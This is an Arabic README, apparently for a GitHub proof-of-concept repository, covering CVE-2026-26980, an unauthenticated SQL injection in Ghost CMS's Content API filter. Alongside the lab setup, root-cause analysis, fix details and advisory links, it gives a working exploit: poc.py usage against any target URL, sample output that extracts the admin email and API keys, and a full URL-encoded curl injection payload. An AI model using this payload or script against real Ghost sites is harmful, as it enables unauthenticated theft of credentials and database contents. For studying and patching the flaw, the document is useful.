
حقن SQL في API محتوى Ghost
★ CVE-2026-26980 برهان ثغرة حقن SQL في Content API لنظام Ghost CMS من TryGhost ★
https://github.com/user-attachments/assets/e7fab29e-8382-4ecc-986c-68852c28a32c
CVE-2026-26980 هي ثغرة حقن SQL غير مصادق عليها في Content API لنظام TryGhost Ghost CMS. يمكن الوصول إلى المسار القابل للهجوم من خلال منطق معالجة عامل التصفية العام لـ Content API عند معالجة ترتيب slug:[...].
يبني هذا البرهان مختبر Ghost 6.19.0 خاضع للتحكم ويوضح كيف يمكن تحويل طلب Content API عام إلى أداة قراءة قاعدة بيانات قائمة على القيمة المنطقية.
| المنتج | الإصدار المتأثر | الإصدار المُصحَّح | نوع الثغرة |
|---|---|---|---|
| TryGhost Ghost CMS | >= 3.24.0، < 6.19.1 | 6.19.1 | حقن SQL |
يستخدم بيئة المختبر Ghost 6.19.0.
قم ببناء وتشغيل بيئة Ghost CMS القابلة للهجوم باستخدام Docker:
docker build -t cve-2026-26980 .
docker run --rm -d -p 9102:9102 --name cve-2026-26980 cve-2026-26980
مثال:
http://127.0.0.1:9102/
يقوم المختبر بتشغيل مثيل Ghost 6.19.0 حقيقي قابل للهجوم على المنفذ 9102.
مفتاح Content API للمختبر هو:
EQSTLab299
CVE-2026-26980 : ثغرة حقن SQL في Content API لنظام TryGhost Ghost CMS
الوصف: تسمح ثغرة حقن SQL في TryGhost Ghost CMS قبل الإصدار 6.19.1 لمهاجم غير مصادق مع إمكانية الوصول إلى مفتاح Content API عام بقراءة قيم قاعدة بيانات عشوائية من خلال معامل التصفية (filter) لـ Content API. تحدث المشكلة في مسار ترتيب عامل التصفية slug:[...]، حيث يتم إدراج قيم slug التي يتحكم فيها المستخدم في استعلام SQL خام دون ربط معلمات مناسب.
عادةً ما تكون مفاتيح Content API لـ Ghost مكشوفة للمتصفحات عن طريق التصميم من خلال القوالب أو البحث أو البوابة أو JavaScript في الواجهة الأمامية. هذا يعني أنه يمكن الوصول إلى المسار القابل للهجوم دون مصادقة Ghost Admin.
git clone https://github.com/EQSTLab/CVE-2026-26980.git
cd CVE-2026-26980
python3 poc.py --url [Target]
مفتاح Content API مخصص اختياري:
python3 poc.py --url [Target] --key [Content API Key]
python3 poc.py --url [Target]
python3 poc.py --url [Target] --key EQSTLab299
[Target] مثال: http://127.0.0.1:9102
========================================================================
Ghost CMS - Unauthenticated SQLi Data Extraction
========================================================================
Target: [Target]
API Key: [Content API Key]
Endpoint: Content API (public, no auth)
[*] Calibrating oracle... OK
[*] Phase 1: Recon (fast checks)
length(users.email) = 17
length(users.password) = 60
count(settings) (3 chars): 110
count(users) (1 chars): 1
count(api_keys) (1 chars): 9
[*] Phase 2: Extracting values
Admin email (17 chars): [email protected]
Admin name (5 chars): Ghost
Admin API key ID (24 chars): <redacted>
Admin API secret (64 chars): <redacted>
[*] Phase 3: DB snapshot
Result: DB read primitive confirmed
يُظهر البرهان العام تأثير قراءة قاعدة البيانات من خلال استخراج بيانات وصفية لقاعدة البيانات آمنة للمختبر ومواد مفتاح API لـ Ghost. لا يطبع علامة التحدي.
GET /ghost/api/content/tags/?key=[Content API Key]&filter=slug:[...]
يوجد المنطق القابل للهجوم في مسار تسلسل إدخال Content API لـ Ghost لعوامل تصفية slug:[...]. يدعم Ghost عوامل تصفية slug على شكل قائمة ويحافظ على ترتيب slug المطلوب عن طريق إنشاء تعبير ORDER BY CASE.
في الإصدارات القابلة للهجوم، يتم إدراج قيم slug التي يتحكم فيها المستخدم في جزء SQL. نمط مبسط قابل للهجوم هو:
for (const [index, slug] of slugs.entries()) {
order.push(`WHEN \`${tableName}\`.\`slug\` = '${slug}' THEN ${index}`);
}
نظرًا لأن slug يتحكم فيه المهاجم ويتم إدراجه في سلسلة SQL دون ربط معلمات، يمكن لعامل تصفية Content API مخصص أن يخرج من المقارنة المقصودة ويحقن منطق SQL إضافي.
يستخدم البرهان المخبري علامتين عامتين، bacon و chorizo، كمرجع منطقي (boolean oracle) يمكن ملاحظته.
bacon أولاً.chorizo أولاً.من خلال تكرار هذا الاختبار بظروف SQL مختلفة، يمكن للبرهان استنتاج قيم قاعدة البيانات حرفًا حرفًا.
التحقق من المرجع المنطقي باستخدام curl:
curl -s "[Target]/ghost/api/content/tags/?key=EQSTLab299&filter=slug%3A%5B%27%2F%2A%2A%2FAND%2F%2A%2A%2F0%2F%2A%2A%2FTHEN%2F%2A%2A%2F99%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D5%2F%2A%2A%2FTHEN%2F%2A%2A%2F%28SELECT+CASE+WHEN+1%3D1+THEN+0+ELSE+2+END%29%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D7%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FWHEN%2F%2A%2A%2F0%2F%2A%2A%2FOR%2F%2A%2A%2F%27%2Cchorizo%2Cbacon%5D"
السبب الجذري هو البناء غير الآمن لجزء SQL ORDER BY CASE من قيم slug التي يتحكم فيها المستخدم. يحاول الكود القابل للهجوم الحفاظ على ترتيب استجابة Content API، لكنه يعالج قيم عامل تصفية NQL المحللة كنص SQL موثوق.
يجب أن يقوم الإصلاح القوي بما يلي:
أصلح Ghost هذه المشكلة في الإصدار 6.19.1 عن طريق استبدال الإدراج الخام بربط استعلامات معلمات.
هذه مشكلة CWE-89: تحييد غير صحيح للعناصر الخاصة المستخدمة في أمر SQL.
نظرًا لأن Content API لـ Ghost عام بشكل مقصود، يمكن لهذه الثغرة أن تسمح لمهاجم غير مصادق بإنشاء أداة قراءة قاعدة بيانات من خلال نقطة نهاية محتوى عامة. اعتمادًا على محتويات قاعدة البيانات والأذونات، قد يتمكن المهاجم من:
+-------------------------------------------+
| Remote Attacker |
+-------------------------------------------+
|
| GET /ghost/api/content/tags/
| filter = slug:[<SQLi payload>,chorizo,bacon]
v
+-------------------------------------------+
| Ghost Public Content API |
+-------------------------------------------+
|
| Unsafe slug order SQL construction
v
+-------------------------------------------+
| ORDER BY CASE SQL Injection |
+-------------------------------------------+
|
| Boolean difference in tag ordering
v
+-------------------------------------------+
| Unauthenticated DB Read |
+-------------------------------------------+
يقوم هذا المختبر بتشغيل مثيل Ghost 6.19.0 حقيقي قابل للهجوم بدلاً من خادم محاكاة بسيط.
يقوم المختبر بتزويد:
EQSTLab299bacon، chorizoتم تصميم ملف poc.py العام لمقاطع الفيديو التوضيحية والكتابات العامة. يظهر تأثير حقن SQL دون طباعة علامة التحدي.
docker stop cve-2026-26980
هذا المستودع ليس مخصصًا لاستغلال حقن SQL لـ CVE-2026-26980. الغرض من هذا المشروع هو مساعدة الأشخاص على التعرف على هذه الثغرة، وربما اختبار تطبيقاتهم الخاصة.
https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97
https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91
https://github.com/TryGhost/Ghost/releases/tag/v6.19.1
https://nvd.nist.gov/vuln/detail/CVE-2026-26980